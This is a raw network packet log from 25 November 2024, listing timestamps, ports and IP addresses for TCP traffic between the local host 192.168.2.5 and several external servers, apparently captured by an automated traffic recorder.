Nov 25, 2024 16:21:25.064496040 CET	443	49728	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:25.078142881 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.078167915 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.078224897 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.078243017 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.078273058 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.078289986 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.099179029 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.099199057 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.099278927 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.099292040 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.099342108 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.101753950 CET	49728	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:25.119544983 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.119573116 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.119621038 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.119630098 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.119671106 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.119687080 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.137206078 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.137231112 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.137312889 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.137327909 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.137368917 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.147322893 CET	443	49728	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:25.152229071 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.152278900 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.152327061 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.154725075 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.154747009 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.225018024 CET	80	49720	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:25.225132942 CET	49720	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:25.225564957 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.225614071 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.225708008 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.228646040 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.228684902 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.228756905 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.229024887 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.229043007 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.229485989 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.229501009 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.230905056 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.230920076 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.231184006 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.231319904 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.231331110 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.232110977 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.232121944 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.232167959 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.234411001 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.234450102 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.234509945 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.234678030 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.234694958 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.239342928 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.239356041 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:25.598387957 CET	443	49728	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:25.598453045 CET	443	49728	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:25.598529100 CET	49728	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:25.598808050 CET	49728	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:25.598828077 CET	443	49728	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:25.598839045 CET	49728	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:25.598845005 CET	443	49728	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:25.647142887 CET	49737	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:25.647190094 CET	443	49737	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:25.647300959 CET	49737	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:25.647530079 CET	49737	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:25.647546053 CET	443	49737	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:25.885493040 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:25.885529041 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:25.885545015 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:25.885550976 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:26.946599007 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:26.951073885 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:26.951107025 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:26.954823017 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:26.954834938 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.009358883 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.011014938 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.056611061 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.056649923 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.086276054 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.094711065 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.125751972 CET	443	49737	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:27.125822067 CET	49737	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:27.134737968 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.134752035 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.138993979 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.139008045 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.139633894 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.139642000 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.140201092 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.140213966 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.140789986 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.140794992 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.141525984 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.141535044 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.141921997 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.141926050 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.185039043 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.185053110 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.185808897 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.185813904 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.259186983 CET	49737	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:27.259223938 CET	443	49737	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:27.259708881 CET	443	49737	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:27.264049053 CET	49737	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:27.307372093 CET	443	49737	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:27.384990931 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.385078907 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.385154009 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.445681095 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.445681095 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.445725918 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.445736885 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.465334892 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.465380907 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.465444088 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.470331907 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.470361948 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.470419884 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.470449924 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.470493078 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.472070932 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.472130060 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.472179890 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.472188950 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.472229004 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.472675085 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.472692966 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.475477934 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.475600004 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.475658894 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.476504087 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.476571083 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.476617098 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.488462925 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.488482952 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.488492966 CET	49732	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.488498926 CET	443	49732	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.488647938 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.488652945 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.488661051 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.488665104 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.553294897 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.553430080 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.553494930 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.553565025 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.553906918 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.553975105 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.638803959 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.638851881 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.639070988 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.642199993 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.642245054 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.642261982 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.642267942 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.658310890 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.660640955 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.660692930 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.685298920 CET	443	49737	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:27.685378075 CET	443	49737	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:27.685424089 CET	49737	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:27.877243042 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.877269030 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.902256012 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.902290106 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:27.902302980 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:27.902309895 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:28.052627087 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:28.052679062 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:28.052809954 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:28.158658028 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:28.158701897 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:28.158938885 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:28.188514948 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:28.188550949 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:28.209459066 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:28.209491014 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:28.209553957 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:28.224929094 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:28.224953890 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:28.232156038 CET	49737	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:28.232177019 CET	443	49737	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:28.232203960 CET	49737	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:28.232209921 CET	443	49737	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:28.284696102 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:28.284743071 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:29.110838890 CET	49751	443	192.168.2.5	94.245.104.56
Nov 25, 2024 16:21:29.110893011 CET	443	49751	94.245.104.56	192.168.2.5
Nov 25, 2024 16:21:29.111320019 CET	49751	443	192.168.2.5	94.245.104.56
Nov 25, 2024 16:21:29.111841917 CET	49751	443	192.168.2.5	94.245.104.56
Nov 25, 2024 16:21:29.111857891 CET	443	49751	94.245.104.56	192.168.2.5
Nov 25, 2024 16:21:29.254615068 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:29.317364931 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:29.658318996 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:29.727581978 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:29.727606058 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:29.729808092 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:29.729821920 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:29.740340948 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:29.740353107 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:29.740773916 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:29.740780115 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.001523018 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.014138937 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.020117044 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.020143032 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.022097111 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.022104025 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.036705017 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.036724091 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.037482977 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.037488937 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.052592993 CET	49753	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:30.052643061 CET	443	49753	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:30.052707911 CET	49753	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:30.055754900 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.057236910 CET	49753	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:30.057250977 CET	443	49753	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:30.057415009 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.057554007 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.057554007 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.057554007 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.067876101 CET	49754	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.067926884 CET	443	49754	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.067984104 CET	49754	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.072412014 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.077537060 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.077570915 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.078001976 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.078006983 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.078893900 CET	49754	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.078915119 CET	443	49754	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.103946924 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.104048014 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.104132891 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.105387926 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.105407953 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.105418921 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.105427027 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.108825922 CET	49755	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.108870029 CET	443	49755	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.108946085 CET	49755	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.109062910 CET	49755	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.109076977 CET	443	49755	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.228343964 CET	80	49720	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:30.228401899 CET	49720	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:30.449547052 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.449719906 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.449790001 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.453334093 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.453355074 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.453368902 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.453375101 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.459131956 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.459204912 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.459352016 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.464145899 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.464165926 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.464178085 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.464184046 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.465537071 CET	49756	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.465557098 CET	443	49756	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.465653896 CET	49756	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.467267036 CET	49756	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.467274904 CET	443	49756	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.468661070 CET	49757	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.468712091 CET	443	49757	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.468766928 CET	49757	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.468930006 CET	49757	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.468947887 CET	443	49757	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.519290924 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.519402027 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.519527912 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.519830942 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.519851923 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.519867897 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.519872904 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.519901991 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.519939899 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.522299051 CET	49758	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.522314072 CET	443	49758	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.522598982 CET	49758	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.522798061 CET	49758	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:30.522805929 CET	443	49758	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:30.907515049 CET	443	49751	94.245.104.56	192.168.2.5
Nov 25, 2024 16:21:30.908365011 CET	49751	443	192.168.2.5	94.245.104.56
Nov 25, 2024 16:21:30.908392906 CET	443	49751	94.245.104.56	192.168.2.5
Nov 25, 2024 16:21:30.909435987 CET	443	49751	94.245.104.56	192.168.2.5
Nov 25, 2024 16:21:30.909539938 CET	49751	443	192.168.2.5	94.245.104.56
Nov 25, 2024 16:21:30.910624981 CET	49751	443	192.168.2.5	94.245.104.56
Nov 25, 2024 16:21:30.910701036 CET	443	49751	94.245.104.56	192.168.2.5
Nov 25, 2024 16:21:30.910784960 CET	49751	443	192.168.2.5	94.245.104.56
Nov 25, 2024 16:21:30.910799026 CET	443	49751	94.245.104.56	192.168.2.5
Nov 25, 2024 16:21:31.026146889 CET	49751	443	192.168.2.5	94.245.104.56
Nov 25, 2024 16:21:31.406092882 CET	49720	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:31.406405926 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:31.419094086 CET	443	49751	94.245.104.56	192.168.2.5
Nov 25, 2024 16:21:31.419229031 CET	443	49751	94.245.104.56	192.168.2.5
Nov 25, 2024 16:21:31.419280052 CET	49751	443	192.168.2.5	94.245.104.56
Nov 25, 2024 16:21:31.439968109 CET	49751	443	192.168.2.5	94.245.104.56
Nov 25, 2024 16:21:31.439997911 CET	443	49751	94.245.104.56	192.168.2.5
Nov 25, 2024 16:21:31.526432037 CET	80	49720	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:31.526958942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:31.527282953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:31.527534962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:31.527750015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:31.575504065 CET	49766	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:31.575551987 CET	443	49766	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:31.575614929 CET	49766	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:31.576069117 CET	49766	443	192.168.2.5	172.217.19.225
Nov 25, 2024 16:21:31.576081038 CET	443	49766	172.217.19.225	192.168.2.5
Nov 25, 2024 16:21:31.648456097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:31.648910999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:31.648922920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:31.648931980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:31.862330914 CET	443	49754	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:31.885705948 CET	443	49753	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:31.885777950 CET	49753	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:32.067332983 CET	443	49754	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.068679094 CET	49754	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.118134975 CET	443	49755	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.227765083 CET	49755	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.361542940 CET	443	49758	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.362417936 CET	443	49756	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.362765074 CET	443	49757	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.368777037 CET	49757	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.368808985 CET	443	49757	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.369987965 CET	49757	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.369992971 CET	443	49757	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.370280981 CET	49756	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.370292902 CET	443	49756	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.370749950 CET	49756	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.370754957 CET	443	49756	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.371011972 CET	49754	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.371047974 CET	443	49754	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:32.371359110 CET	49754	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:32.371364117 CET	443	49754	13.107.246.63	192.168.2.5
